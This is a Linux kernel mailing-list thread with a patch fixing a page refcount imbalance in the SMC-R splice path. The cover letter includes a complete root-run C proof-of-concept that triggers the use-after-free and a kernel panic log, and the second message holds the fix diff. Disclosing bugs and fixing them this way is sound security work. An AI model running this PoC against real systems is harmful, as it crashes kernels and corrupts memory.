* [PATCH net v2 0/1] net: smc: smc_rx_splice() can underflow VM page refcounts
@ 2026-07-30 14:55 Ren Wei
2026-07-30 14:55 ` [PATCH net v2 1/1] net: smc: fix splice entry lifetime imbalance in smc_rx_splice Ren Wei
0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-07-30 14:55 UTC (permalink / raw)
To: linux-rdma, linux-s390, netdev
Cc: alibuda, dust.li, sidraya, mjambigi, tonylu, guwen, davem,
edumazet, kuba, pabeni, horms, ubraun, stefan.raspl, vega, lx24,
d4n.for.sec, enjou1224z
From: Daming Li <d4n.for.sec@gmail.com>
From: Daming Li <d4n.for.sec@gmail.com>
Bug details:
The bug is in the VM-backed SMC-R splice path in
`smc_rx_splice()`. It builds a multi-page `splice_pipe_desc` and hands
it to `splice_to_pipe()`, but it does not take page references for all
candidate pages before doing so.
That breaks the splice ownership contract. Pages that are not queued are
released through `smc_rx_spd_release()`, while queued pages are later
released through `smc_rx_pipe_buf_release()`. In the VM-backed path, the
code instead tries to take page references only after `splice_to_pipe()`
returns, and it derives the number of queued pages from a mutated
`offset` value.
As a result, unqueued pages can see a bare `put_page()`, and queued VM
pages can be under-accounted as well. This can underflow page refcounts
on RMB backing pages and lead to use-after-free or double-free-style
page lifecycle corruption, with the crash later surfacing in the SMC-R
or RDMA data path.
Reproducer:
cc -O2 -pthread -Wall -Wextra -o mini_poc mini_poc.c
./mini_poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/smc.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef AF_SMC
#define AF_SMC 43
#endif
#ifndef SMC_GENL_FAMILY_NAME
#define SMC_GENL_FAMILY_NAME "SMC_GEN_NETLINK"
#endif
#ifndef SMC_GENL_FAMILY_VERSION
#define SMC_GENL_FAMILY_VERSION 1
#endif
#ifndef SMC_MAX_EID_LEN
#define SMC_MAX_EID_LEN 32
#endif
#ifndef SMC_NETLINK_ADD_UEID
#define SMC_NETLINK_ADD_UEID 10
#endif
#ifndef SMC_NLA_EID_TABLE_ENTRY
#define SMC_NLA_EID_TABLE_ENTRY 1
#endif
#define PNET_FAMILY_NAME "SMC_PNETID"
#define PNET_FAMILY_VERSION 1
#define PNET_CMD_ADD 2
#define PNET_A_NAME 1
#define PNET_A_ETHNAME 2
#define PNET_A_IBNAME 3
#define PNET_A_IBPORT 4
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#endif
#ifndef NLA_NEXT
#define NLA_NEXT(nla, attrlen) ((attrlen) -= NLA_ALIGN((nla)->nla_len), \
(struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#endif
#ifndef NLA_OK
#define NLA_OK(nla, len) ((len) >= (int)sizeof(struct nlattr) && \
(nla)->nla_len >= sizeof(struct nlattr) && \
(nla)->nla_len <= (len))
#endif
#ifndef NLA_TYPE_MASK
#define NLA_TYPE_MASK 0x3fff
#endif
static volatile int server_ready;
static volatile int stop_server;
static int g_port = 27555;
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static int run_cmd(const char *cmd)
{
int status = system(cmd);
if (status == -1)
return -1;
if (!WIFEXITED(status))
return -1;
return WEXITSTATUS(status);
}
static int write_file(const char *path, const char *value)
{
int fd = open(path, O_WRONLY);
ssize_t len = strlen(value);
if (fd < 0)
return -1;
if (write(fd, value, len) != len) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static int add_attr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const void *data, size_t len)
{
size_t total = NLA_ALIGN(sizeof(struct nlattr) + len);
struct nlattr *nla;
if (NLMSG_ALIGN(nlh->nlmsg_len) + total > maxlen)
return -1;
nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
nla->nla_type = type;
nla->nla_len = sizeof(struct nlattr) + len;
memcpy((char *)nla + sizeof(struct nlattr), data, len);
memset((char *)nla + nla->nla_len, 0, total - nla->nla_len);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + total;
return 0;
}
static int resolve_family_id(int fd, const char *name)
{
char buf[1024] = {0};
char rbuf[8192];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *gh = (struct genlmsghdr *)(nlh + 1);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = 0 };
struct msghdr msg = {
.msg_name = &sa,
.msg_namelen = sizeof(sa),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
struct msghdr rmsg = {
.msg_name = &sa,
.msg_namelen = sizeof(sa),
.msg_iov = &riov,
.msg_iovlen = 1,
};
ssize_t len;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 1;
gh->cmd = CTRL_CMD_GETFAMILY;
gh->version = 1;
if (add_attr(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME,
name, strlen(name) + 1) < 0)
return -1;
iov.iov_len = nlh->nlmsg_len;
if (sendmsg(fd, &msg, 0) < 0)
return -1;
len = recvmsg(fd, &rmsg, 0);
if (len < 0)
return -1;
for (struct nlmsghdr *nh = (struct nlmsghdr *)rbuf;
NLMSG_OK(nh, (unsigned int)len);
nh = NLMSG_NEXT(nh, len)) {
if (nh->nlmsg_type == NLMSG_ERROR)
return -1;
if (nh->nlmsg_type != GENL_ID_CTRL)
continue;
struct genlmsghdr *g = NLMSG_DATA(nh);
int rem = nh->nlmsg_len - NLMSG_LENGTH(sizeof(*g));
struct nlattr *a = (struct nlattr *)((char *)g + sizeof(*g));
for (; NLA_OK(a, rem); a = NLA_NEXT(a, rem)) {
if ((a->nla_type & NLA_TYPE_MASK) == CTRL_ATTR_FAMILY_ID)
return *(uint16_t *)NLA_DATA(a);
}
}
errno = ENOENT;
return -1;
}
static int send_and_wait_ack(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = {
.msg_name = &sa,
.msg_namelen = sizeof(sa),
.msg_iov = &iov,
.msg_iovlen = 1,
};
if (sendmsg(fd, &msg, 0) < 0)
return -1;
for (;;) {
char rbuf[8192];
struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
struct msghdr rmsg = {
.msg_name = &sa,
.msg_namelen = sizeof(sa),
.msg_iov = &riov,
.msg_iovlen = 1,
};
ssize_t len = recvmsg(fd, &rmsg, 0);
if (len < 0)
return -1;
for (struct nlmsghdr *nh = (struct nlmsghdr *)rbuf;
NLMSG_OK(nh, (unsigned int)len);
nh = NLMSG_NEXT(nh, len)) {
if (nh->nlmsg_seq != nlh->nlmsg_seq)
continue;
if (nh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(nh);
if (e->error == 0)
return 0;
errno = -e->error;
return -1;
}
if (nh->nlmsg_type == NLMSG_DONE)
return 0;
}
}
}
static int add_pnet_mapping(void)
{
char buf[1024] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *gh = (struct genlmsghdr *)(nlh + 1);
uint8_t port = 1;
int fd, fam, ret;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0)
return -1;
fam = resolve_family_id(fd, PNET_FAMILY_NAME);
if (fam < 0) {
close(fd);
return -1;
}
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
nlh->nlmsg_type = fam;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = 101;
gh->cmd = PNET_CMD_ADD;
gh->version = PNET_FAMILY_VERSION;
if (add_attr(nlh, sizeof(buf), PNET_A_NAME, "PNETLO", 7) < 0 ||
add_attr(nlh, sizeof(buf), PNET_A_ETHNAME, "lo", 3) < 0 ||
add_attr(nlh, sizeof(buf), PNET_A_IBNAME, "rxe_lo", 7) < 0 ||
add_attr(nlh, sizeof(buf), PNET_A_IBPORT, &port, sizeof(port)) < 0) {
close(fd);
errno = EMSGSIZE;
return -1;
}
ret = send_and_wait_ack(fd, nlh);
close(fd);
return ret;
}
static int add_ueid(void)
{
char buf[1024] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *gh = (struct genlmsghdr *)(nlh + 1);
int fd, fam, ret;
static const char ueid[SMC_MAX_EID_LEN + 1] =
"ABCDEFGHIJKLMNOPQRSTUVWX12345678";
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0)
return -1;
fam = resolve_family_id(fd, SMC_GENL_FAMILY_NAME);
if (fam < 0) {
close(fd);
return -1;
}
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
nlh->nlmsg_type = fam;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = 102;
gh->cmd = SMC_NETLINK_ADD_UEID;
gh->version = SMC_GENL_FAMILY_VERSION;
if (add_attr(nlh, sizeof(buf), SMC_NLA_EID_TABLE_ENTRY,
ueid, sizeof(ueid)) < 0) {
close(fd);
errno = EMSGSIZE;
return -1;
}
ret = send_and_wait_ack(fd, nlh);
close(fd);
return ret;
}
static void drain_pipe(int rfd)
{
char tmp[8192];
for (;;) {
ssize_t n = read(rfd, tmp, sizeof(tmp));
if (n <= 0)
break;
}
}
static void *server_thread(void *arg)
{
int ls;
int one = 1;
struct sockaddr_in addr;
static char payload[65536];
(void)arg;
ls = socket(AF_SMC, SOCK_STREAM, 0);
if (ls < 0)
die("server socket(AF_SMC)");
if (setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
die("setsockopt(SO_REUSEADDR)");
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(g_port);
if (inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr) != 1)
die("inet_pton");
if (bind(ls, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind");
if (listen(ls, 64) < 0)
die("listen");
memset(payload, 'R', sizeof(payload));
__atomic_store_n(&server_ready, 1, __ATOMIC_RELEASE);
while (!__atomic_load_n(&stop_server, __ATOMIC_ACQUIRE)) {
int cs = accept(ls, NULL, NULL);
if (cs < 0) {
if (errno == EINTR)
continue;
break;
}
while (!__atomic_load_n(&stop_server, __ATOMIC_ACQUIRE)) {
ssize_t n = send(cs, payload, sizeof(payload), 0);
if (n < 0)
break;
}
close(cs);
}
close(ls);
return NULL;
}
static void run_round(int round)
{
struct sockaddr_in addr;
int s, p[2], flags;
char first;
char fill[4096];
int i;
s = socket(AF_SMC, SOCK_STREAM, 0);
if (s < 0)
die("client socket(AF_SMC)");
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(g_port);
if (inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr) != 1)
die("inet_pton");
if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("connect");
if (recv(s, &first, 1, 0) != 1)
die("recv first byte");
if (pipe(p) < 0)
die("pipe");
if (fcntl(p[1], F_SETPIPE_SZ, 8192) < 0)
die("F_SETPIPE_SZ");
flags = fcntl(p[0], F_GETFL, 0);
if (flags < 0)
die("fcntl(F_GETFL, read)");
if (fcntl(p[0], F_SETFL, flags | O_NONBLOCK) < 0)
die("fcntl(F_SETFL, read)");
flags = fcntl(p[1], F_GETFL, 0);
if (flags < 0)
die("fcntl(F_GETFL, write)");
if (fcntl(p[1], F_SETFL, flags | O_NONBLOCK) < 0)
die("fcntl(F_SETFL, write)");
memset(fill, 0x42, sizeof(fill));
for (i = 0; i < 20000; i++) {
ssize_t n;
drain_pipe(p[0]);
if (write(p[1], fill, sizeof(fill)) != (ssize_t)sizeof(fill))
die("prefill write");
n = splice(s, NULL, p[1], NULL, 65535,
SPLICE_F_NONBLOCK | SPLICE_F_MOVE);
if (n < 0 && errno != EAGAIN && errno != EFAULT)
die("splice");
}
close(p[0]);
close(p[1]);
close(s);
if ((round % 5) == 0)
fprintf(stderr, "round=%d done\n", round);
}
static void setup_runtime(void)
{
if (geteuid() != 0) {
fprintf(stderr, "run as root\n");
exit(1);
}
if (run_cmd("rdma link add rxe_lo type rxe netdev lo >/dev/null 2>&1") != 0)
die("rdma link add rxe_lo");
if (add_pnet_mapping() < 0)
die("add_pnet_mapping");
if (add_ueid() < 0)
die("add_ueid");
if (write_file("/proc/sys/net/smc/smcr_buf_type", "2\n") < 0)
die("write smcr_buf_type");
}
int main(void)
{
pthread_t th;
int r;
setup_runtime();
if (pthread_create(&th, NULL, server_thread, NULL)) {
fprintf(stderr, "pthread_create failed\n");
return 1;
}
while (!__atomic_load_n(&server_ready, __ATOMIC_ACQUIRE))
usleep(1000);
for (r = 0; r < 200; r++)
run_round(r);
__atomic_store_n(&stop_server, 1, __ATOMIC_RELEASE);
/* Unblock accept so server thread can exit cleanly if no panic happened. */
{
int s = socket(AF_SMC, SOCK_STREAM, 0);
if (s >= 0) {
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(g_port);
inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
connect(s, (struct sockaddr *)&addr, sizeof(addr));
close(s);
}
}
pthread_join(th, NULL);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 99.609149][ T29] audit: type=1400 audit(1781096375.697:35): avc: denied { write } for pid=9261 comm="mini_poc" scontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tcontext=system_u:object_r:unlabeled_t:s0 tclass=smc_socket permissive=1
[ 99.612034][ T9261] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x36f30
[ 99.614228][ T9261] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
[ 99.615006][ T9261] page_type: f0(buddy)
[ 99.617554][ T9261] page dumped because: VM_BUG_ON_FOLIO(((unsigned int) folio_ref_count(folio) + 127u <= 127u))
[ 99.618643][ T9261] page_owner tracks the page as freed
[ 99.619251][ T9261] page last allocated via order 4, migratetype Unmovable, gfp_mask 0xd2dc0(GFP_KERNEL|__GFP_ZERO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 9261, tgid 9261 (mini_poc), ts 99605686630, free_ts 99611922370
[ 99.630382][ T9261] page last free pid 9261 tgid 9261 stack trace:
[ 99.631009][ T9261] __free_pages_ok+0x63f/0xe80
[ 99.631502][ T9261] __folio_put+0x320/0x4f0
[ 99.631988][ T9261] smc_rx_pipe_buf_release+0x418/0x4e0
[ 99.632561][ T9261] anon_pipe_read+0x5ac/0x1120
[ 99.633048][ T9261] vfs_read+0xa33/0xc70
[ 99.633458][ T9261] ksys_read+0x1ef/0x240
[ 99.633890][ T9261] do_syscall_64+0x11f/0x860
[ 99.634374][ T9261] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 99.635404][ T9261] ------------[ cut here ]------------
[ 99.635908][ T9261] kernel BUG at include/linux/mm.h:2051!
[ 99.637933][ T9261] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[ 99.638597][ T9261] CPU: 1 UID: 0 PID: 9261 Comm: mini_poc Not tainted 7.1.0-rc6-00220-g627366c51145 #4 PREEMPT(full)
[ 99.653791][ T9261] smc_splice_read+0x287/0x420
[ 99.654311][ T9261] sock_splice_read+0xb7/0x120
[ 99.655927][ T9261] do_splice_read+0x285/0x360
[ 99.656630][ T9261] splice_file_to_pipe+0x108/0x120
[ 99.657638][ T9261] do_splice+0x1500/0x1f40
[ 99.658867][ T9261] __do_splice+0x14d/0x270
[ 99.659368][ T9261] __x64_sys_splice+0x18f/0x260
[ 99.660107][ T9261] do_syscall_64+0x11f/0x860
[ 99.660521][ T9261] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 99.668234][ T9261] RIP: 0010:smc_rx_recvmsg+0x2573/0x2ca0
[ 99.676748][ T9261] Kernel panic - not syncing: Fatal exception
-----END crash log-----
Changes in v2:
- Rebase onto the latest net tree at 14fa65d10f5696b063a7d8d26e8291ea84a2c6ed.
- Keep the offset declaration in its original position per Dust Li.
- Add Reviewed-by tags from Dust Li and Sidraya Jayagond.
Daming Li (1):
net: smc: fix splice entry lifetime imbalance in smc_rx_splice
net/smc/smc_rx.c | 19 ++++++++++---------
1 file changed, 10 insertions(+), 9 deletions(-)
--
2.34.1
^ permalink raw reply [flat|nested] 2+ messages in thread* [PATCH net v2 1/1] net: smc: fix splice entry lifetime imbalance in smc_rx_splice
2026-07-30 14:55 [PATCH net v2 0/1] net: smc: smc_rx_splice() can underflow VM page refcounts Ren Wei
@ 2026-07-30 14:55 ` Ren Wei
0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-07-30 14:55 UTC (permalink / raw)
To: linux-rdma, linux-s390, netdev
Cc: alibuda, dust.li, sidraya, mjambigi, tonylu, guwen, davem,
edumazet, kuba, pabeni, horms, ubraun, stefan.raspl, vega, lx24,
d4n.for.sec, enjou1224z
From: Daming Li <d4n.for.sec@gmail.com>
smc_rx_splice() passes pages to splice_to_pipe() before taking the
references that cover the lifetime of each splice entry. In the
VM-backed RMB path, splice_to_pipe() may drop unqueued entries through
smc_rx_spd_release(), while queued entries are released later via the
pipe buffer callback.
The old post-splice accounting also derives the number of queued VM pages
from an offset mutated while building the descriptor, and a multi-page
splice pairs one sock_hold() with multiple sock_put() calls.
Take the page and socket references for every candidate entry before
splice_to_pipe(), and drop the matching private state, page reference,
and socket reference from smc_rx_spd_release() for entries that never
get queued. This fixes a refcount imbalance that can underflow page
refcounts and trigger a use-after-free.
Fixes: 9014db202cb7 ("smc: add support for splice()")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:GPT-5.4
Co-developed-by: Xiao Liu <lx24@stu.ynu.edu.cn>
Signed-off-by: Xiao Liu <lx24@stu.ynu.edu.cn>
Signed-off-by: Daming Li <d4n.for.sec@gmail.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
Reviewed-by: Dust Li <dust.li@linux.alibaba.com>
Reviewed-by: Sidraya Jayagond <sidraya@linux.ibm.com>
---
Changes in v2:
- Keep the offset declaration in its original position to preserve SMC
reverse-xmas-tree ordering, as requested by Dust Li.
- Add Reviewed-by tags from Dust Li and Sidraya Jayagond.
- Link to v1: https://lore.kernel.org/all/192d1b44ed358ca143f44ef167d14153bccc51e9.1781097957.git.d4n.for.sec@gmail.com/
net/smc/smc_rx.c | 19 ++++++++++---------
1 file changed, 10 insertions(+), 9 deletions(-)
diff --git a/net/smc/smc_rx.c b/net/smc/smc_rx.c
index c1d9b923938d..5c9e4d8b57de 100644
--- a/net/smc/smc_rx.c
+++ b/net/smc/smc_rx.c
@@ -150,7 +150,12 @@ static const struct pipe_buf_operations smc_pipe_ops = {
static void smc_rx_spd_release(struct splice_pipe_desc *spd,
unsigned int i)
{
+ struct smc_spd_priv *priv = (struct smc_spd_priv *)spd->partial[i].private;
+ struct sock *sk = &priv->smc->sk;
+
+ kfree(priv);
put_page(spd->pages[i]);
+ sock_put(sk);
}
static int smc_rx_splice(struct pipe_inode_info *pipe, char *src, size_t len,
@@ -209,6 +214,10 @@ static int smc_rx_splice(struct pipe_inode_info *pipe, char *src, size_t len,
offset = 0;
}
}
+ for (i = 0; i < nr_pages; i++) {
+ get_page(pages[i]);
+ sock_hold(&smc->sk);
+ }
spd.nr_pages_max = nr_pages;
spd.nr_pages = nr_pages;
spd.pages = pages;
@@ -217,16 +226,8 @@ static int smc_rx_splice(struct pipe_inode_info *pipe, char *src, size_t len,
spd.spd_release = smc_rx_spd_release;
bytes = splice_to_pipe(pipe, &spd);
- if (bytes > 0) {
- sock_hold(&smc->sk);
- if (!lgr->is_smcd && smc->conn.rmb_desc->is_vm) {
- for (i = 0; i < PAGE_ALIGN(bytes + offset) / PAGE_SIZE; i++)
- get_page(pages[i]);
- } else {
- get_page(smc->conn.rmb_desc->pages);
- }
+ if (bytes > 0)
atomic_add(bytes, &smc->conn.splice_pending);
- }
kfree(priv);
kfree(partial);
kfree(pages);
base-commit: 14fa65d10f5696b063a7d8d26e8291ea84a2c6ed
--
2.34.1
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-07-30 14:56 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-30 14:55 [PATCH net v2 0/1] net: smc: smc_rx_splice() can underflow VM page refcounts Ren Wei
2026-07-30 14:55 ` [PATCH net v2 1/1] net: smc: fix splice entry lifetime imbalance in smc_rx_splice Ren Wei
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox